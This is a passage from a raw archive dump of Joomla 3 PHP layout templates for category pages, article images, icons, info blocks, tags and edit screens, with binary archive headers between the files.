* Note that this layout opens a div with the page class suffix. If you do
not use the category children
* layout you need to close this div either by overriding this file or in
your main layout.
*/
$params = $displayData->params;
$category = $displayData->get('category');
$extension = $category->extension;
$canEdit = $params->get('access-edit');
$className = substr($extension, 4);
$dispatcher = JEventDispatcher::getInstance();
$category->text = $category->description;
$dispatcher->trigger('onContentPrepare', array($extension .
'.categories', &$category, &$params, 0));
$category->description = $category->text;
$results = $dispatcher->trigger('onContentAfterTitle',
array($extension . '.categories', &$category, &$params,
0));
$afterDisplayTitle = trim(implode("\n", $results));
$results = $dispatcher->trigger('onContentBeforeDisplay',
array($extension . '.categories', &$category, &$params,
0));
$beforeDisplayContent = trim(implode("\n", $results));
$results = $dispatcher->trigger('onContentAfterDisplay',
array($extension . '.categories', &$category, &$params,
0));
$afterDisplayContent = trim(implode("\n", $results));
/**
* This will work for the core components but not necessarily for other
components
* that may have different pluralisation rules.
*/
if (substr($className, -1) === 's')
{
$className = rtrim($className, 's');
}
$tagsData = $category->tags->itemTags;
?>
<div>
<div class="<?php echo $className .'-category' .
$displayData->pageclass_sfx; ?>">
<?php if ($params->get('show_page_heading')) : ?>
<h1>
<?php echo
$displayData->escape($params->get('page_heading')); ?>
</h1>
<?php endif; ?>
<?php if ($params->get('show_category_title', 1)) : ?>
<h2>
<?php echo JHtml::_('content.prepare',
$category->title, '', $extension .
'.category.title'); ?>
</h2>
<?php endif; ?>
<?php echo $afterDisplayTitle; ?>
<?php if ($params->get('show_cat_tags', 1)) : ?>
<?php echo JLayoutHelper::render('joomla.content.tags',
$tagsData); ?>
<?php endif; ?>
<?php if ($beforeDisplayContent || $afterDisplayContent ||
$params->get('show_description', 1) ||
$params->def('show_description_image', 1)) : ?>
<div class="category-desc">
<?php if ($params->get('show_description_image')
&& $category->getParams()->get('image')) : ?>
<img src="<?php echo
$category->getParams()->get('image'); ?>"
alt="<?php echo
htmlspecialchars($category->getParams()->get('image_alt'),
ENT_COMPAT, 'UTF-8'); ?>"/>
<?php endif; ?>
<?php echo $beforeDisplayContent; ?>
<?php if ($params->get('show_description') &&
$category->description) : ?>
<?php echo JHtml::_('content.prepare',
$category->description, '', $extension .
'.category.description'); ?>
<?php endif; ?>
<?php echo $afterDisplayContent; ?>
<div class="clr"></div>
</div>
<?php endif; ?>
<?php echo
$displayData->loadTemplate($displayData->subtemplatename); ?>
<?php if ($displayData->maxLevel != 0 &&
$displayData->get('children')) : ?>
<div class="cat-children">
<?php if
($params->get('show_category_heading_title_text', 1) == 1) :
?>
<h3>
<?php echo JText::_('JGLOBAL_SUBCATEGORIES'); ?>
</h3>
<?php endif; ?>
<?php echo $displayData->loadTemplate('children');
?>
</div>
<?php endif; ?>
</div>
</div>
PK!>�[l% ۛ�content/full_image.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$params = $displayData->params;
?>
<?php $images = json_decode($displayData->images); ?>
<?php if (!empty($images->image_fulltext)) : ?>
<?php $imgfloat = empty($images->float_fulltext) ?
$params->get('float_fulltext') : $images->float_fulltext;
?>
<div class="pull-<?php echo htmlspecialchars($imgfloat); ?>
item-image"> <img
<?php if ($images->image_fulltext_caption) :
echo 'class="caption"' . ' title="' .
htmlspecialchars($images->image_fulltext_caption) . '"';
endif; ?>
src="<?php echo htmlspecialchars($images->image_fulltext);
?>" alt="<?php echo
htmlspecialchars($images->image_fulltext_alt); ?>"
itemprop="image"/> </div>
<?php endif; ?>
PK!>�[1�Ucontent/icons/create.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('bootstrap.tooltip');
$params = $displayData['params'];
// @deprecated 4.0 The legacy icon flag will be removed from this layout
in 4.0
$legacy = $displayData['legacy'];
?>
<?php if ($params->get('show_icons')) : ?>
<?php if ($legacy) : ?>
<?php echo JHtml::_('image', 'system/new.png',
JText::_('JNEW'), null, true); ?>
<?php else : ?>
<span class="icon-plus"
aria-hidden="true"></span>
<?php echo JText::_('JNEW'); ?>
<?php endif; ?>
<?php else : ?>
<?php echo JText::_('JNEW') . ' '; ?>
<?php endif; ?>
PK!>�[H�E""content/icons/edit.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('bootstrap.tooltip');
$article = $displayData['article'];
$overlib = $displayData['overlib'];
// @deprecated 4.0 The legacy icon flag will be removed from this layout
in 4.0
$legacy = $displayData['legacy'];
$currentDate = JFactory::getDate()->format('Y-m-d H:i:s');
$isUnpublished = ($article->publish_up > $currentDate)
|| ($article->publish_down < $currentDate &&
$article->publish_down !== JFactory::getDbo()->getNullDate());
if ($legacy)
{
$icon = $article->state ? 'edit.png' :
'edit_unpublished.png';
if ($isUnpublished)
{
$icon = 'edit_unpublished.png';
}
}
else
{
$icon = $article->state ? 'edit' : 'eye-close';
if ($isUnpublished)
{
$icon = 'eye-close';
}
}
?>
<?php if ($legacy) : ?>
<?php echo JHtml::_('image', 'system/' . $icon,
JText::_('JGLOBAL_EDIT'), null, true); ?>
<?php else : ?>
<span class="hasTooltip icon-<?php echo $icon; ?> tip"
title="<?php echo
JHtml::tooltipText(JText::_('COM_CONTENT_EDIT_ITEM'), $overlib,
0, 0); ?>"></span>
<?php echo JText::_('JGLOBAL_EDIT'); ?>
<?php endif; ?>
PK!>�[���syycontent/icons/edit_lock.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('bootstrap.tooltip');
$tooltip = $displayData['tooltip'];
// @deprecated 4.0 The legacy icon flag will be removed from this layout
in 4.0
$legacy = $displayData['legacy'];
?>
<?php if ($legacy) : ?>
<span class="hasTooltip" title="<?php echo
JHtml::tooltipText($tooltip . '', 0); ?>">
<?php echo JHtml::_('image',
'system/checked_out.png', null, null, true); ?>
</span>
<?php echo JText::_('JLIB_HTML_CHECKED_OUT'); ?>
<?php else : ?>
<span class="hasTooltip icon-lock" title="<?php echo
JHtml::tooltipText($tooltip . '', 0);
?>"></span>
<?php echo JText::_('JLIB_HTML_CHECKED_OUT'); ?>
<?php endif; ?>
PK!>�[k���content/icons/email.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$params = $displayData['params'];
$legacy = $displayData['legacy'];
?>
<?php if ($params->get('show_icons')) : ?>
<?php if ($legacy) : ?>
<?php echo JHtml::_('image',
'system/emailButton.png', JText::_('JGLOBAL_EMAIL'),
null, true); ?>
<?php else : ?>
<span class="icon-envelope"
aria-hidden="true"></span>
<?php echo JText::_('JGLOBAL_EMAIL'); ?>
<?php endif; ?>
<?php else : ?>
<?php echo JText::_('JGLOBAL_EMAIL'); ?>
<?php endif; ?>
PK!>�[���content/icons/print_popup.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$params = $displayData['params'];
$legacy = $displayData['legacy'];
?>
<?php if ($params->get('show_icons')) : ?>
<?php if ($legacy) : ?>
<?php // Checks template image directory for image, if none found
default are loaded ?>
<?php echo JHtml::_('image',
'system/printButton.png', JText::_('JGLOBAL_PRINT'),
null, true); ?>
<?php else : ?>
<span class="icon-print"
aria-hidden="true"></span>
<?php echo JText::_('JGLOBAL_PRINT'); ?>
<?php endif; ?>
<?php else : ?>
<?php echo JText::_('JGLOBAL_PRINT'); ?>
<?php endif; ?>
PK!>�[���content/icons/print_screen.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$params = $displayData['params'];
$legacy = $displayData['legacy'];
?>
<?php if ($params->get('show_icons')) : ?>
<?php if ($legacy) : ?>
<?php // Checks template image directory for image, if none found
default are loaded ?>
<?php echo JHtml::_('image',
'system/printButton.png', JText::_('JGLOBAL_PRINT'),
null, true); ?>
<?php else : ?>
<span class="icon-print"
aria-hidden="true"></span>
<?php echo JText::_('JGLOBAL_PRINT'); ?>
<?php endif; ?>
<?php else : ?>
<?php echo JText::_('JGLOBAL_PRINT'); ?>
<?php endif; ?>
PK!>�[FM��content/icons.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JHtml::_('bootstrap.framework');
$canEdit =
$displayData['params']->get('access-edit');
$articleId = $displayData['item']->id;
?>
<div class="icons">
<?php if (empty($displayData['print'])) : ?>
<?php if ($canEdit ||
$displayData['params']->get('show_print_icon') ||
$displayData['params']->get('show_email_icon')) :
?>
<div class="btn-group pull-right">
<button class="btn dropdown-toggle"
type="button" id="dropdownMenuButton-<?php echo
$articleId; ?>" aria-label="<?php echo
JText::_('JUSER_TOOLS'); ?>"
data-toggle="dropdown" aria-haspopup="true"
aria-expanded="false">
<span class="icon-cog"
aria-hidden="true"></span>
<span class="caret"
aria-hidden="true"></span>
</button>
<?php // Note the actions class is deprecated. Use dropdown-menu
instead. ?>
<ul class="dropdown-menu"
aria-labelledby="dropdownMenuButton-<?php echo $articleId;
?>">
<?php if
($displayData['params']->get('show_print_icon')) :
?>
<li class="print-icon"> <?php echo
JHtml::_('icon.print_popup', $displayData['item'],
$displayData['params']); ?> </li>
<?php endif; ?>
<?php if
($displayData['params']->get('show_email_icon')) :
?>
<li class="email-icon"> <?php echo
JHtml::_('icon.email', $displayData['item'],
$displayData['params']); ?> </li>
<?php endif; ?>
<?php if ($canEdit) : ?>
<li class="edit-icon"> <?php echo
JHtml::_('icon.edit', $displayData['item'],
$displayData['params']); ?> </li>
<?php endif; ?>
</ul>
</div>
<?php endif; ?>
<?php else : ?>
<div class="pull-right">
<?php echo JHtml::_('icon.print_screen',
$displayData['item'], $displayData['params']); ?>
</div>
<?php endif; ?>
</div>
PK!>�['����#content/info_block/associations.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<?php if (!empty($displayData['item']->associations)) :
?>
<?php $associations = $displayData['item']->associations;
?>
<dd class="association">
<?php echo JText::_('JASSOCIATIONS'); ?>
<?php foreach ($associations as $association) : ?>
<?php if
($displayData['item']->params->get('flags', 1)
&& $association['language']->image) : ?>
<?php $flag = JHtml::_('image', 'mod_languages/'
. $association['language']->image . '.gif',
$association['language']->title_native,
array('title' =>
$association['language']->title_native), true); ?>
<a href="<?php echo
JRoute::_($association['item']); ?>"><?php echo
$flag; ?></a>
<?php else : ?>
<?php $class = 'label label-association label-' .
$association['language']->sef; ?>
<a class="<?php echo $class; ?>"
href="<?php echo JRoute::_($association['item']);
?>"><?php echo
strtoupper($association['language']->sef);
?></a>
<?php endif; ?>
<?php endforeach; ?>
</dd>
<?php endif; ?>
PK!>�[:��xxcontent/info_block/author.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<dd class="createdby" itemprop="author" itemscope
itemtype="https://schema.org/Person">
<?php $author = ($displayData['item']->created_by_alias ?:
$displayData['item']->author); ?>
<?php $author = '<span itemprop="name">' .
$author . '</span>'; ?>
<?php if (!empty($displayData['item']->contact_link )
&&
$displayData['params']->get('link_author') == true)
: ?>
<?php echo JText::sprintf('COM_CONTENT_WRITTEN_BY',
JHtml::_('link', $displayData['item']->contact_link,
$author, array('itemprop' => 'url'))); ?>
<?php else : ?>
<?php echo JText::sprintf('COM_CONTENT_WRITTEN_BY',
$author); ?>
<?php endif; ?>
</dd>
PK!>�[o7T��content/info_block/block.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
JLog::add('The layout joomla.content.info_block.block is deprecated,
use joomla.content.info_block instead.', JLog::WARNING,
'deprecated');
echo JLayoutHelper::render('joomla.content.info_block',
$displayData);
PK!>�[U)qPOOcontent/info_block/category.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<dd class="category-name">
<?php $title =
$this->escape($displayData['item']->category_title); ?>
<?php if
($displayData['params']->get('link_category')
&& $displayData['item']->catslug) : ?>
<?php $url = '<a href="' .
JRoute::_(ContentHelperRoute::getCategoryRoute($displayData['item']->catslug))
. '" itemprop="genre">' . $title .
'</a>'; ?>
<?php echo JText::sprintf('COM_CONTENT_CATEGORY', $url);
?>
<?php else : ?>
<?php echo JText::sprintf('COM_CONTENT_CATEGORY',
'<span itemprop="genre">' . $title .
'</span>'); ?>
<?php endif; ?>
</dd>PK!>�[l4Y`vv"content/info_block/create_date.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<dd class="create">
<span class="icon-calendar"
aria-hidden="true"></span>
<time datetime="<?php echo JHtml::_('date',
$displayData['item']->created, 'c'); ?>"
itemprop="dateCreated">
<?php echo JText::sprintf('COM_CONTENT_CREATED_DATE_ON',
JHtml::_('date', $displayData['item']->created,
JText::_('DATE_FORMAT_LC3'))); ?>
</time>
</dd>PK!>�[D��K,,content/info_block/hits.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<dd class="hits">
<span class="icon-eye-open"
aria-hidden="true"></span>
<meta itemprop="interactionCount"
content="UserPageVisits:<?php echo
$displayData['item']->hits; ?>" />
<?php echo JText::sprintf('COM_CONTENT_ARTICLE_HITS',
$displayData['item']->hits); ?>
</dd>PK!>�[-�tt"content/info_block/modify_date.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<dd class="modified">
<span class="icon-calendar"
aria-hidden="true"></span>
<time datetime="<?php echo JHtml::_('date',
$displayData['item']->modified, 'c'); ?>"
itemprop="dateModified">
<?php echo JText::sprintf('COM_CONTENT_LAST_UPDATED',
JHtml::_('date', $displayData['item']->modified,
JText::_('DATE_FORMAT_LC3'))); ?>
</time>
</dd>PK!>�[O���gg&content/info_block/parent_category.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<dd class="parent-category-name">
<?php $title =
$this->escape($displayData['item']->parent_title); ?>
<?php if
($displayData['params']->get('link_parent_category')
&& !empty($displayData['item']->parent_slug)) : ?>
<?php $url = '<a href="' .
JRoute::_(ContentHelperRoute::getCategoryRoute($displayData['item']->parent_slug))
. '" itemprop="genre">' . $title .
'</a>'; ?>
<?php echo JText::sprintf('COM_CONTENT_PARENT', $url);
?>
<?php else : ?>
<?php echo JText::sprintf('COM_CONTENT_PARENT',
'<span itemprop="genre">' . $title .
'</span>'); ?>
<?php endif; ?>
</dd>PK!>�[g#�~~#content/info_block/publish_date.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<dd class="published">
<span class="icon-calendar"
aria-hidden="true"></span>
<time datetime="<?php echo JHtml::_('date',
$displayData['item']->publish_up, 'c'); ?>"
itemprop="datePublished">
<?php echo
JText::sprintf('COM_CONTENT_PUBLISHED_DATE_ON',
JHtml::_('date', $displayData['item']->publish_up,
JText::_('DATE_FORMAT_LC3'))); ?>
</time>
</dd>PK!>�[�,A���content/info_block.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$blockPosition =
$displayData['params']->get('info_block_position',
0);
?>
<dl class="article-info muted">
<?php if ($displayData['position'] === 'above'
&& ($blockPosition == 0 || $blockPosition == 2)
|| $displayData['position'] === 'below' &&
($blockPosition == 1)
) : ?>
<dt class="article-info-term">
<?php if
($displayData['params']->get('info_block_show_title',
1)) : ?>
<?php echo JText::_('COM_CONTENT_ARTICLE_INFO'); ?>
<?php endif; ?>
</dt>
<?php if
($displayData['params']->get('show_author')
&& !empty($displayData['item']->author )) : ?>
<?php echo $this->sublayout('author', $displayData);
?>
<?php endif; ?>
<?php if
($displayData['params']->get('show_parent_category')
&& !empty($displayData['item']->parent_slug)) : ?>
<?php echo $this->sublayout('parent_category',
$displayData); ?>
<?php endif; ?>
<?php if
($displayData['params']->get('show_category')) :
?>
<?php echo $this->sublayout('category', $displayData);
?>
<?php endif; ?>
<?php if
($displayData['params']->get('show_associations')) :
?>
<?php echo $this->sublayout('associations',
$displayData); ?>
<?php endif; ?>
<?php if
($displayData['params']->get('show_publish_date')) :
?>
<?php echo $this->sublayout('publish_date',
$displayData); ?>
<?php endif; ?>
<?php endif; ?>
<?php if ($displayData['position'] === 'above'
&& ($blockPosition == 0)
|| $displayData['position'] === 'below' &&
($blockPosition == 1 || $blockPosition == 2)
) : ?>
<?php if
($displayData['params']->get('show_create_date')) :
?>
<?php echo $this->sublayout('create_date',
$displayData); ?>
<?php endif; ?>
<?php if
($displayData['params']->get('show_modify_date')) :
?>
<?php echo $this->sublayout('modify_date',
$displayData); ?>
<?php endif; ?>
<?php if
($displayData['params']->get('show_hits')) : ?>
<?php echo $this->sublayout('hits', $displayData);
?>
<?php endif; ?>
<?php endif; ?>
</dl>
PK!>�[k#с^^content/intro_image.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$params = $displayData->params;
?>
<?php $images = json_decode($displayData->images); ?>
<?php if (!empty($images->image_intro)) : ?>
<?php $imgfloat = empty($images->float_intro) ?
$params->get('float_intro') : $images->float_intro; ?>
<div class="pull-<?php echo htmlspecialchars($imgfloat,
ENT_COMPAT, 'UTF-8'); ?> item-image">
<?php if ($params->get('link_titles') &&
$params->get('access-view')) : ?>
<a href="<?php echo
JRoute::_(ContentHelperRoute::getArticleRoute($displayData->slug,
$displayData->catid, $displayData->language)); ?>"><img
<?php if ($images->image_intro_caption) : ?>
<?php echo 'class="caption"' . '
title="' . htmlspecialchars($images->image_intro_caption) .
'"'; ?>
<?php endif; ?>
src="<?php echo htmlspecialchars($images->image_intro,
ENT_COMPAT, 'UTF-8'); ?>" alt="<?php echo
htmlspecialchars($images->image_intro_alt, ENT_COMPAT,
'UTF-8'); ?>"
itemprop="thumbnailUrl"/></a>
<?php else : ?><img
<?php if ($images->image_intro_caption) : ?>
<?php echo 'class="caption"' . '
title="' . htmlspecialchars($images->image_intro_caption,
ENT_COMPAT, 'UTF-8') . '"'; ?>
<?php endif; ?>
src="<?php echo htmlspecialchars($images->image_intro,
ENT_COMPAT, 'UTF-8'); ?>" alt="<?php echo
htmlspecialchars($images->image_intro_alt, ENT_COMPAT,
'UTF-8'); ?>" itemprop="thumbnailUrl"/>
<?php endif; ?>
</div>
<?php endif; ?>
PK!>�[Hz�ٽ�content/language.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$item = $displayData;
if ($item->language === '*')
{
echo JText::alt('JALL', 'language');
}
elseif ($item->language_image)
{
echo JHtml::_('image', 'mod_languages/' .
$item->language_image . '.gif', '', null, true) .
' ' . htmlspecialchars($item->language_title,
ENT_COMPAT, 'UTF-8');
}
elseif ($item->language_title)
{
echo htmlspecialchars($item->language_title, ENT_COMPAT,
'UTF-8');
}
else
{
echo JText::_('JUNDEFINED');
}
PK!>�[
��T""content/options_default.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<fieldset class="<?php echo !empty($displayData->formclass) ?
$displayData->formclass : 'form-horizontal'; ?>">
<legend><?php echo $displayData->name; ?></legend>
<?php if (!empty($displayData->description)) : ?>
<p><?php echo $displayData->description; ?></p>
<?php endif; ?>
<?php $fieldsnames = explode(',',
$displayData->fieldsname); ?>
<?php foreach ($fieldsnames as $fieldname) : ?>
<?php foreach ($displayData->form->getFieldset($fieldname) as
$field) : ?>
<?php $datashowon = ''; ?>
<?php $groupClass = $field->type === 'Spacer' ? '
field-spacer' : ''; ?>
<?php if ($field->showon) : ?>
<?php JHtml::_('jquery.framework'); ?>
<?php JHtml::_('script', 'jui/cms.js',
array('version' => 'auto', 'relative'
=> true)); ?>
<?php $datashowon = ' data-showon=\'' .
json_encode(JFormHelper::parseShowOnConditions($field->showon,
$field->formControl, $field->group)) . '\''; ?>
<?php endif; ?>
<div class="control-group<?php echo $groupClass;
?>"<?php echo $datashowon; ?>>
<?php if (!isset($displayData->showlabel) ||
$displayData->showlabel) : ?>
<div class="control-label"><?php echo
$field->label; ?></div>
<?php endif; ?>
<div class="controls"><?php echo $field->input;
?></div>
</div>
<?php endforeach; ?>
<?php endforeach; ?>
</fieldset>
PK!>�[��Yf��content/readmore.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$params = $displayData['params'];
$item = $displayData['item'];
$direction = JFactory::getLanguage()->isRtl() ? 'left' :
'right';
?>
<p class="readmore">
<?php if (!$params->get('access-view')) : ?>
<a class="btn" href="<?php echo
$displayData['link']; ?>" itemprop="url"
aria-label="<?php echo
JText::_('COM_CONTENT_REGISTER_TO_READ_MORE'); ?>
<?php echo htmlspecialchars($item->title, ENT_QUOTES,
'UTF-8'); ?>">
<?php echo '<span class="icon-chevron-' .
$direction . '"
aria-hidden="true"></span>'; ?>
<?php echo JText::_('COM_CONTENT_REGISTER_TO_READ_MORE');
?>
</a>
<?php elseif ($readmore = $item->alternative_readmore) : ?>
<a class="btn" href="<?php echo
$displayData['link']; ?>" itemprop="url"
aria-label="<?php echo htmlspecialchars($item->title,
ENT_QUOTES, 'UTF-8'); ?>">
<?php echo '<span class="icon-chevron-' .
$direction . '"
aria-hidden="true"></span>'; ?>
<?php echo $readmore; ?>
<?php if ($params->get('show_readmore_title', 0) != 0) :
?>
<?php echo JHtml::_('string.truncate', $item->title,
$params->get('readmore_limit')); ?>
<?php endif; ?>
</a>
<?php elseif ($params->get('show_readmore_title', 0) == 0)
: ?>
<a class="btn" href="<?php echo
$displayData['link']; ?>" itemprop="url"
aria-label="<?php echo JText::_('COM_CONTENT_READ_MORE');
?> <?php echo htmlspecialchars($item->title, ENT_QUOTES,
'UTF-8'); ?>">
<?php echo '<span class="icon-chevron-' .
$direction . '"
aria-hidden="true"></span>'; ?>
<?php echo JText::sprintf('COM_CONTENT_READ_MORE_TITLE');
?>
</a>
<?php else : ?>
<a class="btn" href="<?php echo
$displayData['link']; ?>" itemprop="url"
aria-label="<?php echo JText::_('COM_CONTENT_READ_MORE');
?> <?php echo htmlspecialchars($item->title, ENT_QUOTES,
'UTF-8'); ?>">
<?php echo '<span class="icon-chevron-' .
$direction . '"
aria-hidden="true"></span>'; ?>
<?php echo JText::_('COM_CONTENT_READ_MORE'); ?>
<?php echo JHtml::_('string.truncate', $item->title,
$params->get('readmore_limit')); ?>
</a>
<?php endif; ?>
</p>
PK!>�[c�iggcontent/tags.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\Registry\Registry;
JLoader::register('TagsHelperRoute', JPATH_BASE .
'/components/com_tags/helpers/route.php');
$authorised = JFactory::getUser()->getAuthorisedViewLevels();
?>
<?php if (!empty($displayData)) : ?>
<ul class="tags inline">
<?php foreach ($displayData as $i => $tag) : ?>
<?php if (in_array($tag->access, $authorised)) : ?>
<?php $tagParams = new Registry($tag->params); ?>
<?php $link_class = $tagParams->get('tag_link_class',
'label label-info'); ?>
<li class="tag-<?php echo $tag->tag_id; ?>
tag-list<?php echo $i; ?>" itemprop="keywords">
<a href="<?php echo
JRoute::_(TagsHelperRoute::getTagRoute($tag->tag_id . ':' .
$tag->alias)); ?>" class="<?php echo $link_class;
?>">
<?php echo $this->escape($tag->title); ?>
</a>
</li>
<?php endif; ?>
<?php endforeach; ?>
</ul>
<?php endif; ?>
PK!>�[7+"�IIcontent/text_filters.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
?>
<fieldset class="<?php echo !empty($displayData->formclass) ?
$displayData->formclass : 'form-horizontal'; ?>">
<legend><?php echo $displayData->name; ?></legend>
<?php if (!empty($displayData->description)) : ?>
<p><?php echo $displayData->description; ?></p>
<?php endif; ?>
<?php $fieldsnames = explode(',',
$displayData->fieldsname); ?>
<?php foreach ($fieldsnames as $fieldname) : ?>
<?php foreach ($displayData->form->getFieldset($fieldname) as
$field) : ?>
<div><?php echo $field->input; ?></div>
<?php endforeach; ?>
<?php endforeach; ?>
</fieldset>
PK!>�[���b��edit/associations.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$form = $displayData->getForm();
$options = array(
'formControl' => $form->getFormControl(),
'hidden' => (int)
($form->getValue('language', null, '*') ===
'*'),
);
JHtml::_('behavior.core');
JHtml::_('jquery.framework');
JText::script('JGLOBAL_ASSOC_NOT_POSSIBLE');
JText::script('JGLOBAL_ASSOCIATIONS_RESET_WARNING');
JFactory::getDocument()->addScriptOptions('system.associations.edit',
$options);
JHtml::_('script', 'system/associations-edit.js',
array('version' => 'auto', 'relative'
=> true));
// JLayout for standard handling of associations fields in the
administrator items edit screens.
echo $form->renderFieldset('item_associations');
PK!>�[ob����edit/details.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*
* @deprecated 3.2 removed without replacement in 4.0 see global.php for
an alternative
*/
defined('_JEXEC') or die;
$app = JFactory::getApplication();
// JLayout for standard handling of the details sidebar in administrator
edit screens.
$title = $displayData->getForm()->getValue('title');
$published =
$displayData->getForm()->getField('published');
$saveHistory =
$displayData->get('state')->get('params')->get('save_history',
0);
?>
<div class="span2">
<h4><?php echo JText::_('JDETAILS'); ?></h4>
<hr />
<fieldset class="form-vertical">
<?php if (empty($title)) : ?>
<div class="control-group">
<div class="controls">
<?php echo
$displayData->getForm()->getValue('name'); ?>
</div>
</div>
<?php else : ?>
<div class="control-group">
<div class="controls">
<?php echo
$displayData->getForm()->getValue('title'); ?>
</div>
</div>
<?php endif; ?>
<?php if ($published) : ?>
<?php echo
$displayData->getForm()->renderField('published'); ?>
<?php else : ?>
<?php echo
$displayData->getForm()->renderField('state'); ?>
<?php endif; ?>
<?php echo
$displayData->getForm()->renderField('access'); ?>
<?php echo
$displayData->getForm()->renderField('featured'); ?>
<?php if (JLanguageMultilang::isEnabled()) : ?>
<?php echo
